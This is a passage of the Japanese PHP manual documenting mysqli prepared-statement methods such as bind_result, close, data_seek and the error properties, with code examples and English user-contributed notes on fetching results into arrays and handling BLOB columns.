すべてのカラムを、mysqli_stmt_execute() をコールしてから mysqli_stmt_fetch() をコールするまでの間に バインドしておく必要があることに注意しましょう。カラムの型に 応じて、バインド変数の型も対応する PHP の型に自動的に変換されます。

カラムのバインドや再バインドはいつでも可能で、たとえ結果セットを途中まで 取得した後であっても可能です。新しくバインドした内容が効力を発揮するのは、 次に mysqli_stmt_fetch() がコールされたときからです。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

var

バインドする最初の変数。

vars

バインドする残りの変数。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 オブジェクト指向型

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* ステートメントを準備します */
if ($stmt = $mysqli->prepare("SELECT Code, Name FROM Country ORDER BY Name LIMIT 5")) {
    $stmt->execute();

    /* プリペアドステートメントに変数をバインドします */
    $stmt->bind_result($col1, $col2);

    /* 値を取得します */
    while ($stmt->fetch()) {
        printf("%s %s\n", $col1, $col2);
    }

    /* ステートメントを閉じます */
    $stmt->close();
}
/* 接続を閉じます */
$mysqli->close();

?>

例2 手続き型

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* ステートメントを準備します */
if ($stmt = mysqli_prepare($link, "SELECT Code, Name FROM Country ORDER BY Name LIMIT 5")) {
    mysqli_stmt_execute($stmt);

    /* プリペアドステートメントに変数をバインドします */
    mysqli_stmt_bind_result($stmt, $col1, $col2);

    /* 値を取得します */
    while (mysqli_stmt_fetch($stmt)) {
        printf("%s %s\n", $col1, $col2);
    }

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

AFG Afghanistan
ALB Albania
DZA Algeria
ASM American Samoa
AND Andorra

参考

  • mysqli_stmt_get_result() - プリペアード・ステートメントから結果セットを取得
  • mysqli_stmt_bind_param() - プリペアドステートメントのパラメータに変数をバインドする
  • mysqli_stmt_execute() - プリペアドステートメントを実行する
  • mysqli_stmt_fetch() - プリペアドステートメントから結果を取得し、バインド変数に格納する
  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_prepare() - SQL ステートメントを実行するために準備する
  • mysqli_stmt_init() - ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す
  • mysqli_stmt_errno() - 直近のステートメントのコールに関するエラーコードを返す
  • mysqli_stmt_error() - 直近のステートメントのエラー内容を文字列で返す

User Contributed Notes

kaspy at example dot com 05-Mar-2015 06:31
For those of you trying to bind rows into array,
<?php
$stmt = $db->prepare('SELECT id, name, mail, phone, FROM contacts');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($arr['id'], $arr['name'], $arr['mail'], $arr['phone']);
while ($stmt->fetch()) {
    $outArr[] = $arr;
}
$stmt->close();
return $outArr;
?>
this will give you all the rows you asked for except that they would all be the same as the first one because of some gremlins in the background code (i've heard that PHP is trying to save memory here).

But this one works:
<?php
$stmt = $db->prepare('SELECT id, name, mail, phone, FROM contacts');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($a,$b,$c,$d);
while ($stmt->fetch()) {
    $outArr[] = ['id' => $a, 'name' => $b, 'mail' => $c, 'phone' => $d];
}
$stmt->close();
return $outArr;
?>
Just don't use arrays to bind results :)
Masterkitano 20-Feb-2015 03:53
for people who doesn't have the mysqlInd driver or for some reason just can't use the stmt->get_result, I've made this function which allows you to "mimic" the mysqli_result::fetch_assoc:

function fetchAssocStatement($stmt)
    {
        if($stmt->num_rows>0)
        {
            $result = array();
            $md = $stmt->result_metadata();
            $params = array();
            while($field = $md->fetch_field()) {
                $params[] = &$result[$field->name];
            }
            call_user_func_array(array($stmt, 'bind_result'), $params);
            $stmt->fetch();
            return $result;
        }

        return null;
    }

you can use it in a while sentence to fetch and return an assoc array from the statement (as long as the statement is open):
usage:
$statement = $mysqli->prepare($query));
$statement.execute();
while($rowAssocArray = fetchAssocStatement($statement))
{
    //do something
}

$statement.close();

hope this helps.
timchampion dot NOSPAM at gmail dot com 20-Feb-2012 07:29
Just wanted to make sure that all were aware of get_result for those needing the result in array format.

In the code sample, after execute(), perform a get_result() like this:

<?php

// ... this document's example code:

    $stmt->execute();

    /* instead of bind_result: */
    $result = $stmt->get_result();

    /* now you can fetch the results into an array - NICE */
    while ($myrow = $result->fetch_assoc()) {
        printf("%s %s\n", $myrow['Code'], $myrow['Name']);
    }

?>

This is much nicer when you have a dozen or more fields coming back from your query.  Hope this helps.  Also, as noted in the comments for get_result, it requires mysqlnd.
dev+php at alepe dot com 25-Jul-2011 10:31
According to the above documentation:
"Depending on column types bound variables can silently change to the corresponding PHP type. "

if you specify a field as int (tinyint, mediumint, etc.) with zerofill property, it will be converted (silently) to PHP integer (erasing the leading zeros). In order to keep those leading zeros, one solution is to specify the field as decimal.

Note that this only happens when using prepared statements and not when executing the query directly.
scragar at gmail dot com 16-Jun-2011 12:02
To clarify for anyone having problems with arrays, PHP will automatically pass arrays as references, cloning the array if needed in the event of setting or unsetting a part of it, changing a referenced variable does not trigger cloning.

This is done for efficiency, to clone an array containing this information you may either use a foreach loop, or set/unset a key. Techniques like array_values will also work provided you don't mind losing your keys.
nieprzeklinaj at gmail dot com 01-Feb-2011 01:02
I wrote a function that fetches all rows from a result set - either normal or prepared.

<?php
function fetch($result)
{
    $array = array();

    if($result instanceof mysqli_stmt)
    {
        $result->store_result();

        $variables = array();
        $data = array();
        $meta = $result->result_metadata();

        while($field = $meta->fetch_field())
            $variables[] = &$data[$field->name]; // pass by reference

        call_user_func_array(array($result, 'bind_result'), $variables);

        $i=0;
        while($result->fetch())
        {
            $array[$i] = array();
            foreach($data as $k=>$v)
                $array[$i][$k] = $v;
            $i++;

            // don't know why, but when I tried $array[] = $data, I got the same one result in all rows
        }
    }
    elseif($result instanceof mysqli_result)
    {
        while($row = $result->fetch_assoc())
            $array[] = $row;
    }

    return $array;
}
?>

Simply call it passing a result set or executed statement and you'll get all rows fetched.
quano 23-Dec-2010 04:19
If I have a longtext field in the result, the whole page will go blank, without giving me any errors what so ever. This is because PHP _crashes_. I've spent an entire morning figuring this out.

Apparently, if you have longtext present, you HAVE to call store_result before using bind_result.

http://bugs.php.net/bug.php?id=47928
pcc at pccglobal dot com 31-Jul-2010 07:06
If done properly, 'call_user_func_array()' works to bind variables to a result of multiple columns including BLOB columns.

EXAMPLE:

<?php
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ; // The column names.
foreach($column as $col_name)
{
  // 'fetch()' will assign fetched value to the variable '$data[$col_name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
?>

Here's the complete example.
WARNING: When using 'prepare' to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch

<?php
$database = "test" ;
$table = "test" ;
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ;
$select_set = "`fidentity`, `fvarchar`, `fdate`, `ftinyblob`" ;
$mysqli = new mysqli("localhost", "root", $password, $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT $select_set FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
foreach($column as $col_name)
{
  // Assign the fetched value to the variable '$data[$name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
if(! $res)
{
  echo "bind_result() failed: " . $mysqli->error . "\n" ;
}
else
{
  $res = $stmt->fetch() ;
  if($res)
  {
      echo "<pre>" . htmlentities(print_r($data, true)) . "</pre>\n" ;
  }
  else
  {
    echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  }
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
Array (
  [fidentity] => 24
  [fvarchar] => the rain in spain
  [fdate] => 2010-07-31
  [ftinyblob] => GIF89a...(more BLOB data)
)
swissbob2 at yahoo dot co dot uk 28-Jun-2010 04:08
I discovered this one by accident; mysqli_stmt_bind_result overwrites an *existing* session variable of the same name (but doesn't create them).

In other words,

    mysqli_stmt_bind_result($stmt, $col1, $col2);

will overwrite session variables $_SESSION['col1'] and $_SESSION['col2'] if they exist, but will not create them if they don't.
uramihsayibok, gmail, com 27-Jul-2009 01:35
A note to people to want to return an array of results - that is, an array of all the results from the query, not just one at a time.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

$results = array();
while ($mysqli_stmt_object->fetch()) {
    $results[] = $byref_array_for_fields;
}

?>
This will NOT work. $results will have a bunch of arrays, but each one will have a reference to $byref.

PHP is optimizing performance here: you aren't so much copying the $byref array into $results as you are *adding* it. That means $results will have a bunch of $byrefs - the same array repeated multiple times. (So what you see is that $results is all duplicates of the last item from the query.)

hamidhossain (01-Sep-2008) shows how to get around that: inside the loop that fetches results you also have to loop through the list of fields, copying them as you go. In effect, copying everything individually.

Personally, I'd rather use some kind of function that effectively duplicates an array than write my own code. Many of the built-in array functions don't work, apparently using references rather than copies, but a combination of array_map and create_function does.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

// returns a copy of a value
$copy = create_function('$a', 'return $a;');

$results = array();
while ($mysqli_stmt_object->fetch()) {
    // array_map will preserve keys when done here and this way
    $results[] = array_map($copy, $byref_array_for_fields);
}

?>

All these problems would go away if they just implemented a fetch_assoc or even fetch_array for prepared statements...
Miguel Hatrick 17-Jul-2009 09:18
Took some cool code from here and made a little class for those object oriented kind of guys

used like this:

<?php
// execute prepared statement
$stmt->execute();
$stmt->store_result();

//custom class :D bind to Statement Result mambo jambo!
$sr = new Statement_Result($stmt);

$stmt->fetch();
printf("ID: %d\n", $sr->Get('id') );

/////////////////////////////////

class Statement_Result
{
    private $_bindVarsArray = array();
    private $_results = array();

    public function __construct(&$stmt)
    {
        $meta = $stmt->result_metadata();

        while ($columnName = $meta->fetch_field())
            $this->_bindVarsArray[] = &$this->_results[$columnName->name];

        call_user_func_array(array($stmt, 'bind_result'), $this->_bindVarsArray);

        $meta->close();
    }

    public function Get_Array()
    {
        return $this->_results;
    }

    public function Get($column_name)
    {
        return $this->_results[$column_name];
    }
}
?>
atulkashyap1 at hotmail dot com 25-Apr-2009 03:31
bind_ result can also be used to return an array of variables from a function,
This took me a long time to figure out, so I would like to share this.

<?php
function extracting(){
  $query="SELECT topic, detail, date, tags
    FROM updates
    ORDER BY date DESC
    LIMIT 5 ";
  if($stmt = $this->conn->prepare($query)) {
    $stmt->execute();
    $stmt->bind_result($updates[0],$updates[1],$updates[2],$updates[3]);
    $i=0;
    while($stmt->fetch()){
      $i++;
      $name='t'.$i;
      $$name = array($updates[0],$updates[1],$updates[2],$updates[3]);
    }
    return array($t1,$t2,$t3,$t4,$t5,);
    $stmt->close();
  }
}
?>
hamidhossain at gmail dot com 01-Sep-2008 07:07
lot of people don't like how bind_result works with prepared statements! it requires you to pass long list of parameters which will be loaded with column value when the function being called.

To solve this, i used call_user_func_array function and result_metadata functions. which make easy and automatically returns an array of all columns results stored in an array with column names.

please don't forget to change setting variables with your own credentials:

<?php
$host = 'localhost';
$user = 'root';
$pass = '1234';
$data = 'test';

$mysqli = new mysqli($host, $user, $pass, $data);
/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT * FROM sample WHERE t2 LIKE ?")) {
    $tt2 = '%';

    $stmt->bind_param("s", $tt2);
    $stmt->execute();

    $meta = $stmt->result_metadata();
    while ($field = $meta->fetch_field())
    {
        $params[] = &$row[$field->name];
    }

    call_user_func_array(array($stmt, 'bind_result'), $params);

    while ($stmt->fetch()) {
        foreach($row as $key => $val)
        {
            $c[$key] = $val;
        }
        $result[] = $c;
    }

    $stmt->close();
}
$mysqli->close();
print_r($result);
?>
bb at servertje dot nl 23-Feb-2008 03:24
Although inspired by an earlier post, this method could be added to any of your database objects. It's an object oriented implementation of an earlier post.

The method returns an array with objects representing a row. Each property represents a column and its value.

<?php
    private function getresult($stmt)
    {
      $result = array();

      $metadata = $stmt->result_metadata();
      $fields = $metadata->fetch_fields();

      for (;;)
      {
        $pointers = array();
        $row = new stdClass();

        $pointers[] = $stmt;
        foreach ($fields as $field)
        {
          $fieldname = $field->name;
          $pointers[] = &$row->$fieldname;
        }

        call_user_func_array(mysqli_stmt_bind_result, $pointers);

        if (!$stmt->fetch())
          break;

        $result[] = $row;
      }

      $metadata->free();

      return $result;
    }
?>
thejkwhosaysni at gmail dot com 19-Oct-2005 01:12
I've created these functions which will act like mysqli_fetch_array() and mysqli_fetch_object() but work with bound results.

<?php
    function fetch_object() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to stmt.
        $fieldnames[0] = &$this->stmt;
        $obj = new stdClass;
        while ($field = mysqli_fetch_field($data)) {
            $fn = $field->name; //get all the feild names
            $fieldnames[$count] = &$obj->$fn; //load the fieldnames into an object..
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $obj;
    }

    function fetch_array() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to the stmt. because bind_param requires the link to $stmt as the first param.
        $fieldnames[0] = &$this->stmt;
        while ($field = mysqli_fetch_field($data)) {
            $fieldnames[$count] = &$array[$field->name]; //load the fieldnames into an array.
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $array;

    }

?>

Hope this helps some people, I was puzzled by this for a while.
andrey at php dot net 07-Oct-2005 05:38
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
brad dot jackson at resiideo dot com 22-Mar-2005 09:10
A potential problem exists in binding result parameters from a prepared statement which reference large datatypes like mediumblobs.  One of our database tables contains a table of binary image data.  Our largest image in this table is around 50Kb, but even so the column is typed as a mediumblob to allow for files larger than 64Kb.  I spent a frustrating hour trying to figure out why mysqli_stmt_bind_result choked while trying to allocate 16MB of memory for what should have been at most a 50Kb result, until I realized the function is checking the column type first to find out how big a result _might_ be retrieved, and attempting to allocate that much memory to contain it.  My solution was to use a more basic mysqli_result() query.  Another option might have been to retype the image data column as blob (64Kb limit).


プリペアドステートメントを閉じる

  • ≪ mysqli_stmt::bind_result
  • mysqli_stmt::__construct ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアドステートメントを閉じる

mysqli_stmt::close

mysqli_stmt_close

(PHP 5, PHP 7)

mysqli_stmt::close -- mysqli_stmt_close — プリペアドステートメントを閉じる

説明

オブジェクト指向型

public mysqli_stmt::close ( ) : bool

手続き型

mysqli_stmt_close ( mysqli_stmt $stmt ) : bool

プリペアドステートメントを閉じます。また、mysqli_stmt_close() は stmt が指すステートメントハンドルを開放します。 現在のステートメントが実行中あるいはまだ結果を取得していない場合、 この関数はキャンセルされ、次のクエリが実行されます。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する

User Contributed Notes

daniel dot kipp at web dot de 17-Jan-2006 09:06
if you are repeating an statement in an loop using bind_param and so on inside it for a larger operation. i thougt id would be good to clean it with stmt->close. but it broke always with an error after aprox. 250 operations . As i tried it with  stmt->reset it worked for me.


新しい mysqli_stmt オブジェクトを構築する

  • ≪ mysqli_stmt::close
  • mysqli_stmt::data_seek ≫
  • PHP Manual
  • mysqli_stmt
  • 新しい mysqli_stmt オブジェクトを構築する

mysqli_stmt::__construct

(PHP 5, PHP 7)

mysqli_stmt::__construct — 新しい mysqli_stmt オブジェクトを構築する

説明

public mysqli_stmt::__construct ( mysqli $link , string $query = ? )

このメソッドは、新しい mysqli_stmt オブジェクトを構築します。

パラメータ

link

有効な mysqli オブジェクト

query

クエリを文字列で渡します。 この引数が省略されると、コンストラクタは mysqli_stmt_init() と同じふるまいをします。 省略されなかった場合、 mysqli_prepare() と同じふるまいをします。

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する
  • mysqli_stmt_init() - ステートメントを初期化し、mysqli_stmt_prepare で使用するオブジェクトを返す

User Contributed Notes

There are no user contributed notes for this page.


ステートメントの結果セットの任意の行に移動する

  • ≪ mysqli_stmt::__construct
  • mysqli_stmt::$errno ≫
  • PHP Manual
  • mysqli_stmt
  • ステートメントの結果セットの任意の行に移動する

mysqli_stmt::data_seek

mysqli_stmt_data_seek

(PHP 5, PHP 7)

mysqli_stmt::data_seek -- mysqli_stmt_data_seek — ステートメントの結果セットの任意の行に移動する

説明

オブジェクト指向型

public mysqli_stmt::data_seek ( int $offset ) : void

手続き型

mysqli_stmt_data_seek ( mysqli_stmt $stmt , int $offset ) : void

ステートメントの結果セット内で、 任意の位置に結果ポインタを移動します。

mysqli_stmt_store_result() は、 mysqli_stmt_data_seek() より前にコールしなければなりません。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

offset

ゼロから行の総数 - 1（0..mysqli_stmt_num_rows() - 1） までの間である必要があります。

返り値

値を返しません。

例

例1 オブジェクト指向型

<?php
/* 接続をオープンします */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* クエリを実行します */
    $stmt->execute();

    /* 結果変数をバインドします */
    $stmt->bind_result($name, $code);

    /* 結果を取得します */
    $stmt->store_result();

    /* 行番号 400 に移動します */
    $stmt->data_seek(399);

    /* 値を取得します */
    $stmt->fetch();

    printf ("City: %s  Countrycode: %s\n", $name, $code);

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
/* 接続をオープンします */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* クエリを実行します */
    mysqli_stmt_execute($stmt);

    /* 結果変数をバインドします */
    mysqli_stmt_bind_result($stmt, $name, $code);

    /* 結果を取得します */
    mysqli_stmt_store_result($stmt);

    /* 行番号 400 に移動します */
    mysqli_stmt_data_seek($stmt, 399);

    /* 値を取得します */
    mysqli_stmt_fetch($stmt);

    printf ("City: %s  Countrycode: %s\n", $name, $code);

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

City: Benin City  Countrycode: NGA

参考

  • mysqli_prepare() - 実行するための SQL文 を準備する

User Contributed Notes

phpnet at stuffonmylaptop dot com 23-Nov-2011 03:25
Although the documentation says you must provide a number between 0 and count - 1, you can actually supply a negative number, which appears to be cast to positive (such as in abs()).

For example:

<?php
$db = new mysqli('localhost', 'test', 'password', 'schema');
$db->multi_query("
            SELECT * FROM
            (
                SELECT 1 as 'position'
                UNION SELECT 2 as 'position'
                UNION SELECT 3 as 'position'
                UNION SELECT 4 as 'position'
                UNION SELECT 5 as 'position'
            ) as rows");

$result = $db->store_result();

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = $i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = -$i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}


直近のステートメントのコールに関するエラーコードを返す

  • ≪ mysqli_stmt::data_seek
  • mysqli_stmt::$error_list ≫
  • PHP Manual
  • mysqli_stmt
  • 直近のステートメントのコールに関するエラーコードを返す

mysqli_stmt::$errno

mysqli_stmt_errno

(PHP 5, PHP 7)

mysqli_stmt::$errno -- mysqli_stmt_errno — 直近のステートメントのコールに関するエラーコードを返す

説明

オブジェクト指向型

int $mysqli_stmt->errno;

手続き型

mysqli_stmt_errno ( mysqli_stmt $stmt ) : int

直近に実行されたステートメントが 成功あるいは失敗した際のエラーコードを返します。

クライアントのエラーメッセージ番号は MySQL の errmsg.h ヘッダファイルで、そしてサーバーのエラーメッセージ番号は mysqld_error.h で定義されています。MySQL のソース配布の中には、エラーメッセージの 完全なリストが Docs/mysqld_error.txt に含まれています。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

エラーコードの値を返します。ゼロはエラーが発生しなかったことを示します。

例

例1 オブジェクト指向型

<?php
/* 接続をオープンします */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* テーブルを削除します */
    $mysqli->query("DROP TABLE myCountry");

    /* クエリを実行します */
    $stmt->execute();

    printf("Error: %d.\n", $stmt->errno);

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
/* 接続をオープンします */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* テーブルを削除します */
    mysqli_query($link, "DROP TABLE myCountry");

    /* クエリを実行します */
    mysqli_stmt_execute($stmt);

    printf("Error: %d.\n", mysqli_stmt_errno($stmt));

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Error: 1146.

参考

  • mysqli_stmt_error() - 直近のステートメントのエラー内容を文字列で返す
  • mysqli_stmt_sqlstate() - 直前のステートメントの操作での SQLSTATE エラーを返す

User Contributed Notes

There are no user contributed notes for this page.


直近で実行したステートメントからのエラーの一覧を返す

  • ≪ mysqli_stmt::$errno
  • mysqli_stmt::$error ≫
  • PHP Manual
  • mysqli_stmt
  • 直近で実行したステートメントからのエラーの一覧を返す

mysqli_stmt::$error_list

mysqli_stmt_error_list

(PHP 5 >= 5.4.0, PHP 7)

mysqli_stmt::$error_list -- mysqli_stmt_error_list — 直近で実行したステートメントからのエラーの一覧を返す

説明

オブジェクト指向型

array $mysqli_stmt->error_list;

手続き型

mysqli_stmt_error_list ( mysqli_stmt $stmt ) : array

エラーの配列を返します。この配列の内容は、直近で実行したステートメント関数で発生したエラーです。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

エラーの一覧を返します。個々のエラーは連想配列形式で、 errno、error および sqlstate のキーを含みます。

例

例1 オブジェクト指向型

<?php
/* 接続を開きます */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続を確認します */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* テーブルを削除します */
    $mysqli->query("DROP TABLE myCountry");

    /* クエリを実行します */
    $stmt->execute();

    echo "Error:\n";
    print_r($stmt->error_list);

    /* 接続を閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
/* 接続を開きます */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続を確認します */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* テーブルを削除します */
    mysqli_query($link, "DROP TABLE myCountry");

    /* クエリを実行します */
    mysqli_stmt_execute($stmt);

    echo "Error:\n";
    print_r(mysql_stmt_error_list($stmt));

    /* 接続を閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Array
(
    [0] => Array
        (
            [errno] => 1146
            [sqlstate] => 42S02
            [error] => Table 'world.myCountry' doesn't exist
        )

)

参考

  • mysqli_stmt_error() - 直近のステートメントのエラー内容を文字列で返す
  • mysqli_stmt_errno() - 直近のステートメントのコールに関するエラーコードを返す
  • mysqli_stmt_sqlstate() - 直前のステートメントの操作での SQLSTATE エラーを返す

User Contributed Notes

There are no user contributed notes for this page.


直近のステートメントのエラー内容を文字列で返す

  • ≪ mysqli_stmt::$error_list
  • mysqli_stmt::execute ≫
  • PHP Manual
  • mysqli_stmt
  • 直近のステートメントのエラー内容を文字列で返す

mysqli_stmt::$error

mysqli_stmt_error

(PHP 5, PHP 7)

mysqli_stmt::$error -- mysqli_stmt_error — 直近のステートメントのエラー内容を文字列で返す

説明

オブジェクト指向型

string $mysqli_stmt->error;

手続き型

mysqli_stmt_error ( mysqli_stmt $stmt ) : string

直近に実行されたステートメントが 成功あるいは失敗した際のエラーメッセージを文字列で返します。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

エラーの内容を文字列で返します。エラーが発生しなかった場合は空文字列を返します。

例

例1 オブジェクト指向型

<?php
/* 接続をオープンします */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

    /* テーブルを削除します */
    $mysqli->query("DROP TABLE myCountry");

    /* クエリを実行します */
    $stmt->execute();

    printf("Error: %s.\n", $stmt->error);

    /* ステートメントを閉じます */
    $stmt->close();
}

/* 接続を閉じます */
$mysqli->close();
?>

例2 手続き型

<?php
/* 接続をオープンします */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 接続状況をチェックします */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

    /* テーブルを削除します */
    mysqli_query($link, "DROP TABLE myCountry");

    /* クエリを実行します */
    mysqli_stmt_execute($stmt);

    printf("Error: %s.\n", mysqli_stmt_error($stmt));

    /* ステートメントを閉じます */
    mysqli_stmt_close($stmt);
}

/* 接続を閉じます */
mysqli_close($link);
?>

上の例の出力は以下となります。

Error: Table 'world.myCountry' doesn't exist.

参考

  • mysqli_stmt_errno() - 直近のステートメントのコールに関するエラーコードを返す
  • mysqli_stmt_sqlstate() - 直前のステートメントの操作での SQLSTATE エラーを返す

User Contributed Notes

There are no user contributed notes for this page.


プリペアドステートメントを実行する

  • ≪ mysqli_stmt::$error
  • mysqli_stmt::fetch ≫
  • PHP Manual
  • mysqli_stmt
  • プリペアドステートメントを実行する

mysqli_stmt::execute

mysqli_stmt_execute

(PHP 5, PHP 7)

mysqli_stmt::execute -- mysqli_stmt_execute — プリペアドステートメントを実行する

説明

オブジェクト指向型

public mysqli_stmt::execute ( ) : bool

手続き型

mysqli_stmt_execute ( mysqli_stmt $stmt ) : bool

事前に準備したSQL文を実行します。
SQL文は実行する前に、正常に準備されていなければいけません。
準備は、mysqli_prepare() または
mysqli_stmt_prepare() を実行するか、
mysqli_stmt::__construct() に第二引数を渡すことで行います。

SQL文が UPDATE、DELETE あるいは INSERT であった場合、 変更された行の総数は mysqli_stmt_affected_rows() 関数を使用することで取得可能です。同様に、クエリが結果セットを返す場合は mysqli_stmt_fetch() 関数を使用できます。

パラメータ

stmt

手続き型のみ: mysqli_stmt_init() が返すステートメント ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysqli_stmt::execute() の例

オブジェクト指向型

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

